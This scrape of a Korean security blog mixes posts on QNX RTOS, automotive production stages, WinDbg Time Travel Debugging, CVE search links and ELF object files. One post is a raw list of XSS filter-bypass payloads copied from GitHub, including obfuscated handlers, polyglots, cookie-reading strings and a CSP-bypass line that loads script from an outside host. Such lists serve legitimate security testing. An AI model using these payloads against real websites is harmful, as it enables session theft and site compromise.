QNX는 1982년부터 원자력 발전소, 수술용 로봇, 산업용 로봇 및 차량과 같이 안정성 및 보안을 요구하는 임베디드 시스템을 위한 소프트웨어를 제공하고 있습니다. QNX의 소프트웨어는 1억 2천만 대 이상의 자동차에 배포되었으며 메르세데스, 아우디, BMW, 현대, KIA 등 45개 이상의 다양한 자동차 제조업체 제품에 적용되었습니다. TÜV Rheinland로부터 ISO 26262 ASIL D등급과 IEC61508 SIL3 등급의 인증을 획득한 OS를 보유하고 있어 고객은 개발할 시스템의 안전 인증을 획득하고 유지하는 비용을 최소화 할 수 있습니다.

 

MDS테크

인텔리전트 융합 솔루션 전문기업 MDS테크

www.mdstech.co.kr

 

MDS테크

인텔리전트 융합 솔루션 전문기업 MDS테크

www.mdstech.co.kr

 

MDS테크

인텔리전트 융합 솔루션 전문기업 MDS테크

www.mdstech.co.kr

 

 

제품 소개

  • QNX Neutrino RTOS는 마이크로 커널 및 모듈식 아키텍처로 구성되며, 임베디드 장비에서 동작하는 프로그램들의 실시간 처리, 안정성, 보안 등을 지원합니다.

'경로 및 정보' 카테고리의 다른 글

Hackers Are Stealing Cars by Injecting Code Into Headlight Wiring  (0) 2023.04.10
ASPICE 개요  (0) 2023.04.03
XSS 우회 패턴 등  (0) 2023.03.20
자동차 양산 단계  (0) 2023.03.17
windbg Preview  (0) 2023.03.16
블로그 이미지

wtdsoul

,

참고 예정

Book 2023. 3. 22. 13:25

The Art of PCB Reverse Engineering
Pcb-Re: Tools & Techniques 
The Rov Manual: A User Guide for Remotely Operated Vehicles
Pcb-Re: Real-World Examples 
https://cdn.hackaday.io/files/1750767490451584/PCB%20Reverse%20Engineering.pdf

블로그 이미지

wtdsoul

,

XSS-Payloads/Payloads.txt at master · RenwaX23/XSS-Payloads · GitHub

 

GitHub - RenwaX23/XSS-Payloads: List of XSS Vectors/Payloads

List of XSS Vectors/Payloads . Contribute to RenwaX23/XSS-Payloads development by creating an account on GitHub.

github.com

 
  <AuDiO/**/oNLoaDStaRt='(_=/**/confirm/**/(1))'/src><!--x
   
  <mArquee onStart=[~[onmouseleave(([[(alert(1))]]))]] ]
   
  <img src="/" =_=" title="onerror='/**/prompt(1)'">
   
  <w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
   
  <a/onmousemove=alert(1)//>xss
   
  https://l0.cm/xss.swf>
   
  <svg+onload=eval(location.hash.substr(1))>#alert(1)
   
  <details/open/ontoggle=confirm('XSS')>
   
  </script><svg><script>alert(1)/&apos;
   
  <svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
   
  <svg </onload ="1> (_=prompt,_(1)) "">
   
  <svg 1=""onload=alert(1)>
   
  <output name="jAvAsCriPt://&NewLine;\u0061ler&#116(1)" onclick="eval(name)">X</output>
   
  <iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;23&rpar;&gt;" />
   
  <button onmousemove="javascript:alert(1)">xss
   
  <BoDy%0AOnpaGeshoW=+window.prompt(1)
   
  <a href=[0x0b]xss" onfocus=prompt(1) autofocus fragment="
   
  <isindex type=image src=1 onerror=alert(1)>
   
  <script>a=eval;b=alert;a(b(/ 1/.source));</script>'">
   
  <!'/!"/!\'/\"/--!><Input/Type=Text AutoFocus */; OnFocus=(confirm)(1) //>
   
  <style><img src="</style><img src=x "><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
   
  jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
   
  <embed src=/x//alert(1)><base href="javascript:\
   
  \u003csvg/onload=alert`1`\u003e
   
  \<svg/onload=alert`1`\>
   
  <article xmlns ="urn:img src=x onerror=xss()//" >xss
   
  i\{\<\/\s\t\y\le\>\<\i\m\g\20\o\ne\r\r\o\r\=\'a\le\r\t\(d\oc\u\me\nt\.c\o\o\kie\)\'\s\rc\=\'eeeeeee\'\20\>{
   
  <img / src = \ 'dfdfd \' // onerror = \ 'alert (document.cookie) \ '>
   
  <img/src=q onerror='new Function`al\ert\`OPENBUGBOUNTY\``'>
   
  <Html Onmouseover=(alert)(1) //
   
  <a href="javascript&colon;alert&lpar;document&period;domain&rpar;">Click Here</a>
   
  <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>
   
  <scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
   
  &#x003c;img src=1 onerror=confirm(1)&#x003e;
   
  %26%23x003c%3Bimg%20src%3D1%20onerror%3Dalert(1)%26%23x003e%3B%0A
   
  x%22%3E%3Cimg%20src=%22x%22%3E%3C!--%2522%2527--%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/xss/%2529%253E
   
  <embed src=/x//alert(1)><base href="javascript:\
   
  <x+oncut=y=prompt,y`1`>xss
   
  <svG x=">" onload=(co\u006efirm)``>
   
  <script/xss~~~>;alert(1);</script/X~~~>
   
  <VideO/**/OnerroR=~alert("1")+/SrC>
   
  <video/poster/onerror=prompt(1)>
   
  <sVG/xss/OnLoaD+="window['confirm']+(1)">
   
  <img x/src=x /onerror="x-\u0063onfirm(1)">
   
  <VidEo/oNLoaDStaRt=confirm(1)+/src>
   
  <video/src=//w3schools.com/tags/movie.mp4%0Aautoplay/onplay=(confirm(1))>
   
  <p/%0Aonmouseover%0A=%0Aconfirm(1)>xss
   
  <span/onmouseover=confirm(1)>xss
   
  <iframe/name="javascript:confirm(1);"onload="while(1){eval(name);}">
   
  <svg/onload=window.onerror=alert;throw/XSS/;//
   
  <object data='data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4=' /src>
   
  <InpuT/**/onfocus=pr\u006fmpt(1)%0Aautofocus>xss
   
  <img src="x:alert" onerror="eval(src%2b'(1)')">
   
  <img/src=xss%0A/**/onerror=eval('al'%2b'ert(1)')>
   
  <img/alt=1 onerror=eval(src) src=x:alert(alt) >
   
  <isindex/**/alt=1+src=xss:window['alert']/**/(alt)+type=image+onerror=while(true){eval(src)}>
   
  <input type="text" name="foo" value=""autofocus/onfocus=alert(1)//">
   
  <math href="javascript:alert(1)">CLICKME
   
  <var onmouseover="prompt(1)">xss</var>
   
  <h1/onmouseover='alert(1)'>xss
   
  <object data="javascript:alert(1)">
   
  <--'<script>window.confirm(1)</script> --!>
   
  <div onmouseover=prompt("1")>xss
   
  <img src=x onerror=window.open('data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4=');>
   
  <plaintext/onmousemove=prompt(1)>xss
   
  <marquee/onstart=alert(1)>xss
   
  <embed src=javascript:alert(1)>
   
  <select autofocus onfocus=alert(1)>
   
  <textarea autofocus onfocus=alert(1)>
   
  <keygen autofocus onfocus=alert(1)>
   
  <div/onmouseover='alert(1)'>xss
   
  https://google.com'>
   
  <audio src=x onerror=confirm("1")>
   
  <iframe src="data:text/html;base64,PFNDUklQVD5hbGVydCgnUkVOV0FYMjMnKTs8L1NDUklQVD4="/>
   
  <img%09onerror=alert(1) src=a>
   
  <i onclick=alert(1)>Click here</i>
   
  <img src=<b onerror=alert('xss');>
   
  <img src="x:? title=" onerror=alert(1)//">
   
  <img src="x:gif" onerror="eval('al'%2b'ert(/xss/)')">
   
  <img src="x:gif" onerror="window['al\u0065rt'] (/'xss'/)"></img>
   
  <a onmouseover%3D"alert(1)">xss
   
  <script/%00%00v%00%00>alert(/xss/)</script>
   
  <svg/onload=document.location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='>
   
  <script>$=1,alert($)</script>
   
  <svg•onload=alert(1)>
   
  <h1/onmouseover='alert(1)'>xss
   
  <video onerror=alert(1337) </poster>
   
  <input onfocus=alert(1337) </autofocus>
   
   
  CSP BYPASS:
   
  <script>f=document.createElement("iframe");f.id="pwn";f.src="/robots.txt";f.onload=()=>{x=document.createElement('script');x.src='//bo0om.ru/csp.js';pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);</script>
   
   
  POLYGLOT:
   
  javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
   
   
  HYPERLINK TAG INJECTION:
   
  javascript:alert(1)
   
  javascript://%250Aalert(document.location="https://google.com",document.location="https://www.facebook.com")
   
  javascript://%250Aalert(document.cookie)
   
  javascripT://https://google.com%0aalert(1);//https://google.com
   
  /x:1/:///%01javascript:alert(document.cookie)/
   
   
  INLINE HTML INJECTION WITHOUT TAG BREAK:
   
  " onclick=alert(1)//">click
   
  " autofocus onfocus=alert(1) "
   
  " onfocus=prompt(1) autofocus fragment="
   
  " onmouseover="confirm(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;"
   
   
  JAVASCRIPT INJECTION:
   
  '?prompt`1`?'
   
  "])},alert(1));(function xss() {//
   
  ""});});});alert(1);$('a').each(function(i){$(this).click(function(event){x({y
   
  "}]}';alert(1);{{'
   
  11111';\u006F\u006E\u0065rror=\u0063onfirm; throw'1
   
  \');confirm(1);//
   
  x");$=alert, $(1);//
   
  '|alert(1)|'
   
  '*prompt(1)*'
   
  "; ||confirm('XSS') || "
   
  "-alert(1)-"
   
  \'-alert(1)};{//
   
  "'-alert(1)-'"
   
  \u0027-confirm`1`-\u0027
   
  '}};alert(1);{{'

'경로 및 정보' 카테고리의 다른 글

ASPICE 개요  (0) 2023.04.03
ISO 26262 ASIL D 와 IEC 61508 SIL 3 인증 획득한 RTOS  (0) 2023.04.03
자동차 양산 단계  (0) 2023.03.17
windbg Preview  (0) 2023.03.16
Vehicel nist  (0) 2023.03.16
블로그 이미지

wtdsoul

,

[2019.08.06] 자동차 신차 개발 단계 (tistory.com)

 

[2019.08.06] 자동차 신차 개발 단계

사실 이렇게 디테일하게 알 필요는 없겠으나 관련 업종에 있는 분은 알 필요가 있는 내용입니다. P1이 마무리가 되었네, 초도양산 시점이 언제네 등 용어를 알아야 대화를 하기에..... 자동차 신

since2018.tistory.com

 

사실 이렇게 디테일하게 알 필요는 없겠으나

관련 업종에 있는 분은 알 필요가 있는 내용입니다.

 

P1이 마무리가 되었네, 초도양산 시점이 언제네 등 용어를 알아야 대화를 하기에.....

 

자동차 신차 개발 단계 (24 Month)


1단계 Model Fix
2단계 [시작차] Proto(원시적) - 내구/법규확인 (No 생산라인으로 차량제작) | FA1, FA2
3단계 [용도차] Pilot(시험적) - 품질/설비능력확인 | 연구소(P1, P2) , 공장(T1,T2)
4단계 [선행양산] MP (Manufacture Production) - 양산성최종확인 | M1, M2
5단계 [초도양산] SOP (Start Of Production) - 신차 양산

 

단계별 순서

 

단계별 상세

 

'경로 및 정보' 카테고리의 다른 글

ISO 26262 ASIL D 와 IEC 61508 SIL 3 인증 획득한 RTOS  (0) 2023.04.03
XSS 우회 패턴 등  (0) 2023.03.20
windbg Preview  (0) 2023.03.16
Vehicel nist  (0) 2023.03.16
향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
블로그 이미지

wtdsoul

,

windbg Preview

경로 및 정보 2023. 3. 16. 18:46

[Research] 시간을 여행하는 해커를 위한 안내서 Part1 - hackyboiz

 

hackyboiz

hack & life

hackyboiz.github.io

머릿말

Time Travel Debugging(TTD)는 2017년에 공개된 Windbg preview의 기능입니다. 공개된 지 3년이나 지났지만 아직 한글로 된 자세한 문서는 별로 없는 거 같더라고요. windbg preview를 쓴다거나 TTD의 존재를 아는 사람이 적어서 그런가 싶기도 하고… windbg로 디버깅을 처음 해본다거나 디버깅 자체를 처음 시작하려는 사람들에겐 한글로 된 문서가 문턱의 높이를 낮추는데 큰 도움이 된다고 생각합니다.

그래서 “내가 만들어 보지 뭐”라는 생각으로 직접 공부해보면서 작성해볼까 합니다.

대략 Part 3까지 생각 중이고, Part 4까지 추가로 할 수도 있어요.

  • Part 1 : 간단 소개 및 첫인상
  • Part 2 : 구버전의 open source에서 발생하는 버그를 직접 분석해보는 실습
  • Part 3 : 크래쉬 분석에 사용해본 경험담
  • Part 4 : JavaScript를 이용한 자동화 및 고오오급 사용법

Time Travel Debugging

불현듯이 과거에 저지른 실수 때문에 이불 킥을 하고 싶은 경험을 누구나 한 번쯤은 해봤을겁니다. 과거로 돌아가 모두 없던 일로 만들 수만 있다면 얼마나 좋을까요. 물론 그게 불가능하다는 사실이 더욱 가슴을 후벼 파며 사람을 미치게 만듭니다. 하지만 Microsoft의 Debugging Experience팀은 Debugging의 한에선 과거로 돌아가 저지른 실수를 만회할 수 있게 해 줍니다.

Time Travel Debugging(TTD), is a tool that allows you to record an execution of your process running, then replay it later both forwards and backwards.

TTD는 프로세스의 실행을 “되감기(rewind)”할 수 있기 때문에 매번 버그를 재 구현하는 번거로움을 덜고 디버깅할 수 있습니다. 게다가 MS 스토어에서 windbg preview를 설치하는 것만으로 TTD를 사용할 수 있다니…

아니아니 무료라구요 손님

기본적인 사용법

관리자 권한으로 실행

디버깅 타겟의 실행을 녹화해 만들어진 Trace file(이하 .run)을 씹고 뜯고 맛보고 즐긴다는 게 TTD의 매력입니다. 그전에 우선 windbg preview를 관리자 권한으로 실행하셔야 합니다. Input/Output 트레이싱을 기록하는 디버깅 방식은 이미 존재해왔지만 TTD는 이보다 좀 더 확장된 개념으로, 프로세스의 모든 실행을 기록해 .run을 만들기 때문에 상대적으로 높은 권한을 요구합니다.

Trace file 녹화하기

[상단 메뉴] > [파일] > [Launch executable (advanced)] > 실행 파일 선택 > [Record with TTD 체크 박스]

디버깅 타겟이 될 실행 파일을 선택해준 뒤 Record with Time Trabel Debugging를 체크해주시면 됩니다.

기본적으로 .run파일은 C:\\Users\\username\\Documents에 만들어집니다. 원하신다면 생성 경로를 바꾸실 수 있습니다. .run파일의 경로를 지정 후 Record 버튼을 누르시면 프로세스의 녹화가 시작됩니다.

타겟의 녹화가 진행되고 있음을 알려주는 팝업창이 뜬다면 정상적으로 녹화되고 있다는 뜻입니다. 이 팝업창에선 타겟 프로세스, 녹화 커멘드를 보여주며 이 녹화가 진정 내가 원하는 녹화가 맞는지 최종 확인하시면 됩니다.

물론 이 팝업창이 뜬다면 그런 건 신경 쓰지 마시고 최대한 빨리 디버깅하고자 하는 이슈나 버그를 재현해주셔야 합니다. 나중에 잠시 다룰 단점의 내용이지만 간단히 설명드리자면 .run파일이 크기가 생각보다 빨리 커집니다. 이 글을 쓰기 위해 재현하는데 대략 3~4초 정도 걸리는 크래쉬를 녹화했고 1.5GB 크기의 .run파일이 만들어졌습니다. 평균적으로 영화 한 편이 1.5GB입니다. 거기다 추가로 .idx라는 파일이 0.5GB를 차지하니 총 2GB나 사용하는군요. MSDOCS에 따르면 .idx파일은 보통 .run파일의 2배 정도의 크기가 된다고 합니다.

앞으로 이 .run파일만 있다면 디버깅을 하다가 다시 버그를 재현하는 번거로움을 없앨 수 있습니다. 보통 디버깅하다 실수한다거나 컨트롤이 버그 발생시점을 넘어가버리면 restart기능을 사용해 프로세스의 시작 시점으로 돌아가야 합니다. 간혹 restart기능이 안 먹거나 디버거 자체를 재시작해야 하는 경우엔 버그를 또다시 재현해야 해서 상당히 귀찮죠. 저는 이런 경우에 vm의 스냅샷을 이용하거나 .bat파일을 사용해 버그 재현을 자동화 하곤 했습니다. 우웩…

TTD 쓰세요, 두번 쓰세요

지금까지 간단하게 TTD를 사용해본 제가 생각하는 장점, 그리고 MS에서 내세우고 있는 장점을 알아봅시다.

Re:zero부터 시작하는 디버깅? 우웩

아까 말씀드린 대로 디버깅하면서 프로세스의 시작 시점으로 돌아가는 일은 정말 빈번히 발생합니다. 이래서 우리 idioth형이 리버싱을 좋아하나 봐요. ㅋㅋㅋㅋ

디버거 종류와 상관없이 조금 만져봤다 하시는 분들은 위 사진에서 각각 기능들이 무슨 동작을 하는지 익숙할 겁니다.

  1. GO : break point 위치까지 프로그램을 실행
  2. Step Out : 현재 함수를 끝까지 실행 후 리턴
  3. Step Into : instruction 한개 실행, 만약 함수를 호출하면 함수 내부로 진입
  4. Step Over : instruction 한개 실행, 만약 함수를 호출하면 해당 함수를 끝까지 실행후 리턴

GO를 진행하기 전에 break point 설정을 잘못했다거나, Step Into를 사용해 함수 내부로 진입해야 하는 상황에서 Step Over를 하게 될 경우 눈물을 머금고 restart버튼을 눌러야 하죠. 정말 잠시 집중을 안 하면 벌어지는 일이라 짜증 나기도 하고 break point의 한계를 생각해보면 여간 귀찮은 게 아닙니다. TTD는 이런 불편함을 어떻게 해결했을까요?

Reverse Flow Control

TTD는 위에서 설명한 Flow Control 기능을 뒤집은 Reverse Flow Control을 제공합니다. 그냥 말 그대로 프로그램의 흐름을 거꾸로 거슬러 올러갈 수 있다는 뜻입니다. 아까 말한 대로 Step Into를 해야 할 상황에서 Step Over를 해버려서 분석해야 할 함수에 진입하지 못했다면 단순히 Step Over Back 하면 해결됩니다.

Time Travel Position

그럼 단순히 현재 program counter 위치로부터 intruction을 거슬러 올라가는 게 끝이냐? 그랬다면 시간여행(Time Travel)이란 이름이 붙진 않았겠죠. 녹화 시작부터 녹화 종료 시점까지 실행된 instruction마다 Time Travel Position(이하 TTP)이란 값이 매겨지는데 break point의 상위 호환이라 생각하시면 됩니다.

예를 들어 fabulous()라는 함수가 있고 이 함수가 16번째 호출된 시점에서 함수 내부에 버그가 발생했다고 가정해 봅시다. 동적 디버깅을 위해 fabulous()함수 엔트리에 break point를 걸었다면 프로세스의 시작 시점부터 버그 발생 위치까지 해당 break point에 총 16번 걸려야 합니다.

반면 Time Travel Position은 같은 함수의 같은 instruction일지라도 실행 시점이 다르다면 다른 값이 매겨집니다. !tt명령어를 사용해 임의의 TTP로 이동할 수 있으며 프로세스의 상태를 특정 시점으로 되돌릴 수 있습니다.

Timeline

MS에서 내세우는 TTD의 장점 중 제가 단연 최고라 생각하는 기능은 바로 타임라인입니다. 처음엔 동영상 재생 바처럼 마우스로 드래그하거나 클릭해서 원하는 시점으로 갈 수 있을 줄 알았는데 반은 맞고 반은 틀린 생각이더군요. 전체 프로그램 흐름 중 주요 이벤트(Exception, Break Point, Function Call, Memory Access)의 위치를 그림으로 표현해 주며 타임라인에 표시된 각 이벤트를 클릭하면 프로세스의 상태를 해당 시점으로 변경해줍니다. 그 이외의 곳은 클릭해도 이동 안합니다. ㅎㅎ;; 너무 기대가 컸나?

이벤트 중 Memory Access 같은 경우엔 특정 주소에 특정 동작(RWX)이 이루어질 때마다 타임라인에 기록되도록 지정할 수 있기 때문에 메모리 커럽션 같은 버그를 찾을 때 정말 유용하겠죠? 미디어 플레이어 딱 대

단점

뭐… 사실 단점이라면 단점이지만 앞서 설명한 장점들에 비하면 이 정도는 충분히 감수할 수 있다고 봅니다.

Trace File 크기

위에서 재현에 3~4초 걸리는 버그를 녹화한 결과로 2GB 정도의 디스크 용량을 차지한다고 했었죠? 만약 버그 재현에만 몇십 분을 소모한다고 생각하면 어후…

녹화중 오버헤드

사용하는 시스템의 사양이나 녹화 중 실행하는 코드의 양에 따라 천차만별인 데다 방금 언급한 Trace File의 크기에 직결되는 문제라 웬만하면 최대한 좋은 환경에서 빨리 녹화를 끝내도록 합시다.

Read-only Debugging

당연한 이야기지만 프로세스의 실행을 녹화하고 돌려보는 게 TTD라 다른 디버거들처럼 특정 레지스터나 메모리에 값을 임시로 변경하는 작업은 못해봅니다.

권한

아직까진 TTD로 User-mode 프로세스만 녹화가 가능합니다. Kernel-mode 프로세스는 안된다고 합니다.

마치며

이번 글은 거의 뭐 연구글이라기 보단 번역글 수준에서 끝난 거 같네요. 다음 글에선 실제로 버그를 분석해보는 실습을 해보겠습니다. 아마 구버전 오픈소스에서 발생하는 버그나 MSDOCS에서 TTD 연습용으로 제공하는 프로그램을 사용할 거 같습니다. 아니면 아예 다른 프로그램을 분석해 볼 수도 있고, 아직 정해진 건 없습니다. 그때까지 저는 크래쉬 분석하면서 TTD를 익혀올게요. 취약점도 찾고… ㅎㅎ;;

'경로 및 정보' 카테고리의 다른 글

XSS 우회 패턴 등  (0) 2023.03.20
자동차 양산 단계  (0) 2023.03.17
Vehicel nist  (0) 2023.03.16
향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
매크로 파워쉘  (0) 2023.03.14
블로그 이미지

wtdsoul

,

Vehicel nist

경로 및 정보 2023. 3. 16. 16:56


keyword : vehicle, automotive

 https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=vehicle&search_type=all&isCpeNameSearch=false 
 https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=automotive 

'경로 및 정보' 카테고리의 다른 글

자동차 양산 단계  (0) 2023.03.17
windbg Preview  (0) 2023.03.16
향후 자동차 사이버보안 강화를 위해서는  (1) 2023.03.14
매크로 파워쉘  (0) 2023.03.14
CVE 2023 21716 Poc  (0) 2023.03.10
블로그 이미지

wtdsoul

,

http://recipes.egloos.com/5010841

 

ELF format Object File에 관한 진실. -c option (기계어 세상)

ELF 하면, 요정 엘프가 생각이 납니다. 제가 난생처음 ELF format이라는 걸 알게 되었을 때, ELF format이 도대체 무엇일까 하고 몇 개의 검색 포털에서 ELF를 무작정 찾아본 적이 있었습니다. 정말 '아연

recipes.egloos.com

ELF format Object File에 관한 진실. -c option (기계어 세상)


ELF 하면, 요정 엘프가 생각이 납니다. 제가 난생처음 ELF format이라는 걸 알게 되었을 때, ELF format이 도대체 무엇일까 하고 몇 개의 검색 포털에서 ELF를 무작정 찾아본 적이 있었습니다. 정말 '아연하게도' 요정 엘프에 관한 것들이 왜 그리도 많이 나오던지, 원하는 것을 찾기가 힘들었습니다. 지금은 ELF format이라는 것이 검색로봇에 많이 검색되어 검색엔진에서 적당한 자료를 찾을 수 있는 것인지는 잘은 모르겠습니다. 그 당시에는 과연 ELF는 숭고한 요정과 같이 나랑은 거리가 먼 것일까 하고 결론 내어 버린 적이 있었습니다만... 검색엔진이란 참으로 편리하면서도 때로는 어이없다는 생각이 들고 말았습니다.
 
ELF는 Executable and Linking Format을 의미하며, 말 그대로 실행 가능한 그리고 링크를 하는 형식을 말합니다. 상당히 고무적인 표현이랄까 - 뭔가를 한다는 의미에서 - 하지만, 막연한 느낌이 드는 건 사실이지요. 그래서 말인데, 이번에는 compile 후에 나오는 ELF 형식을 따르는 .o (object file)을 분석해 보겠습니다. - 사실은 Assembler의 output임을 잊지 맙시다 -
 
spaghetti.c 를 object file로 만들려면 다음과 같이 합니다. (-c option은 tcc에게 linker로 하여금 link를 하지 말라는 의미 입니다. 그렇게 하면 최종 실행 가능한 file이 아니라, link가 가능한 object file로 만들겠지요. 이런 file을 relocatable file이라고 부르는데, 나중에 link를 통해서 재배치가 가능하다는 의미 입니다. 너무 뜬 구름 잡기 식인데, 쉽게 얘기하면,  relocatable이란, spaghetti.c만 컴파일 한 것이지, 아직 실행 가능하게 만든 건 아니라는 의미이지요. 결국 spaghetti.c를 Assembler에 통과시키고, 그것을 link가능하게 table형태로 만들어 놓은 것입니다) 다시 말해, ELF format Object file은 Assembler의 output 이지요.
 
tcc -c spaghetti.c
 
이렇게 하여 나온 output은 spaghetti.o 라는 파일인데, 이 파일은 인간이 알아볼 수 있는 형식으로 되어 있지 않습니다. 한번 열어 보도록 하겠습니다.
 
00000000h: 7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 00 ; ELF............
00000010h: 01 00 28 00 01 00 00 00 00 00 00 00 00 00 00 00 ; ..(.............
00000020h: 5C 03 00 00 00 00 00 02 34 00 20 00 00 00 28 00 ; \.......4. ...(.
00000030h: 0B 00 01 00 03 20 04 21 40 18 10 18 70 47 00 00 ; ..... 
.!@...pG..
00000040h: 03 00 00 00 03 00 00 00 28 00 00 00 FF FF FF FF ; ........(...
00000050h: 01 00 02 7C 0E 0C 0D 00 07 00 07 01 07 02 07 03 ; ...|............
00000060h: 08 04 08 05 08 06 08 07 08 08 08 09 08 0A 08 0B ; ................
00000070h: 07 0C 08 0E 0C 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 0A 00 00 00 54 68 75 6D 62 20 43 20 43 6F 6D 70 ; ....Thumb C Comp
00000090h: 69 6C 65 72 2C 20 41 44 53 31 2E 32 20 5B 42 75 ; iler, ADS1.2 [Bu
000000a0h: 69 6C 64 20 38 30 35 5D 00 00 00 00 2D 4F 32 20 ; ild 805]....-O2
000000b0h: 2D 49 43 3A 5C 61 70 70 73 5C 61 64 73 31 32 5C ; -IC:\apps\ads12\
000000c0h: 49 4E 43 4C 55 44 45 00 00 00 00 00 00 00 00 00 ; INCLUDE.........
000000d0h: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ; ................
000000e0h: 00 00 00 00 02 00 05 00 04 00 00 00 0A 00 00 00 ; ................
000000f0h: 00 00 00 00 02 00 05 00 07 00 00 00 00 00 00 00 ; ................
00000100h: 00 00 00 00 04 00 F1 FF 11 00 00 00 00 00 00 00 ; ......?........
00000110h: 00 00 00 00 01 00 06 00 18 00 00 00 00 00 00 00 ; ................
00000120h: 00 00 00 00 03 00 06 00 1D 00 00 00 00 00 00 00 ; ................
00000130h: 00 00 00 00 01 00 07 00 26 00 00 00 00 00 00 00 ; ........&.......
00000140h: 00 00 00 00 03 00 07 00 2C 00 00 00 00 00 00 00 ; ........,.......
00000150h: 00 00 00 00 01 00 08 00 35 00 00 00 00 00 00 00 ; ........5.......
00000160h: 00 00 00 00 03 00 08 00 3B 00 00 00 00 00 00 00 ; ........;.......
00000170h: 00 00 00 00 03 00 05 00 41 00 00 00 00 00 00 00 ; ........A.......
00000180h: 00 00 00 00 01 00 09 00 50 00 00 00 00 00 00 00 ; ........P.......
00000190h: 00 00 00 00 00 00 F1 FF A0 00 00 00 00 00 00 00 ; ......??......
000001a0h: 00 00 00 00 22 00 00 00 B5 00 00 00 00 00 00 00 ; ...."...?......
000001b0h: 04 00 00 00 11 00 06 00 B8 00 00 00 00 00 00 00 ; ........?......
000001c0h: 04 00 00 00 11 00 07 00 BB 00 00 00 00 00 00 00 ; ........?......
000001d0h: 04 00 00 00 11 00 08 00 C4 00 00 00 00 00 00 00 ; ........?......
000001e0h: 0A 00 00 00 12 00 05 00 C9 00 00 00 00 00 00 00 ; ........?......
000001f0h: 00 00 00 00 12 00 00 00 D0 00 00 00 00 00 00 00 ; ........?......
00000200h: 00 00 00 00 12 00 00 00 00 24 74 00 24 64 00 72 ; .........$t.$d.r
00000210h: 65 63 69 70 65 73 2E 63 00 2E 62 73 73 24 37 00 ; ecipes.c..bss$7.
00000220h: 2E 62 73 73 00 2E 64 61 74 61 24 31 30 00 2E 64 ; .bss..data$10..d
00000230h: 61 74 61 00 2E 64 61 74 61 24 31 35 00 2E 64 61 ; ata..data$15..da
00000240h: 74 61 00 2E 74 65 78 74 00 43 24 64 65 62 75 67 ; ta..text.C$debug
00000250h: 5F 66 72 61 6D 65 31 00 42 75 69 6C 64 41 74 74 ; _frame1.BuildAtt
00000260h: 72 69 62 75 74 65 73 24 24 54 48 55 4D 42 5F 49 ; ributes$$THUMB_I
00000270h: 53 41 76 31 24 4D 24 50 45 24 41 3A 4C 32 32 24 ; SAv1$M$PE$A:L22$
00000280h: 58 3A 4C 31 31 24 53 32 32 24 7E 49 57 24 7E 53 ; X:L11$S22$~IW$~S
00000290h: 54 4B 43 4B 44 24 7E 53 48 4C 24 4F 53 50 41 43 ; TKCKD$~SHL$OSPAC
000002a0h: 45 24 50 52 45 53 38 00 4C 69 62 24 24 52 65 71 ; E$PRES8.Lib$$Req
000002b0h: 75 65 73 74 24 24 61 72 6D 6C 69 62 00 7A 69 00 ; uest$$armlib.zi.
000002c0h: 72 77 00 72 65 6C 6F 63 61 74 65 00 6D 61 69 6E ; rw.relocate.main
000002d0h: 00 5F 5F 6D 61 69 6E 00 5F 6D 61 69 6E 00 00 00 ; .__main._main...
000002e0h: 30 00 00 00 02 0B 00 00 34 00 00 00 02 0A 00 00 ; 0.......4.......
000002f0h: 00 2E 73 68 73 74 72 74 61 62 00 2E 73 79 6D 74 ; ..shstrtab..symt
00000300h: 61 62 00 2E 73 74 72 74 61 62 00 2E 63 6F 6D 6D ; ab..strtab..comm
00000310h: 65 6E 74 00 2E 74 65 78 74 00 2E 62 73 73 00 2E ; ent..text..bss..
00000320h: 64 61 74 61 00 2E 64 61 74 61 00 2E 64 65 62 75 ; data..data..debu
00000330h: 67 5F 66 72 61 6D 65 24 24 24 2E 74 65 78 74 00 ; g_frame$$$.text.
00000340h: 2E 72 65 6C 2E 64 65 62 75 67 5F 66 72 61 6D 65 ; .rel.debug_frame
00000350h: 24 24 24 2E 74 65 78 74 00 00 00 00 00 00 00 00 ; $$$.text........
00000360h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000370h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000380h: 00 00 00 00 01 00 00 00 03 00 00 00 00 00 00 00 ; ................
00000390h: 00 00 00 00 F0 02 00 00 69 00 00 00 00 00 00 00 ; ....?..i.......
000003a0h: 00 00 00 00 00 00 00 00 00 00 00 00 0B 00 00 00 ; ................
000003b0h: 02 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 ; ............?..
000003c0h: 40 01 00 00 03 00 00 00 0D 00 00 00 00 00 00 00 ; @...............
000003d0h: 10 00 00 00 13 00 00 00 03 00 00 00 00 00 00 00 ; ................
000003e0h: 00 00 00 00 08 02 00 00 D6 00 00 00 00 00 00 00 ; ........?......
000003f0h: 00 00 00 00 00 00 00 00 00 00 00 00 1B 00 00 00 ; ................
00000400h: 01 00 00 00 00 00 00 00 00 00 00 00 84 00 00 00 ; ............?..
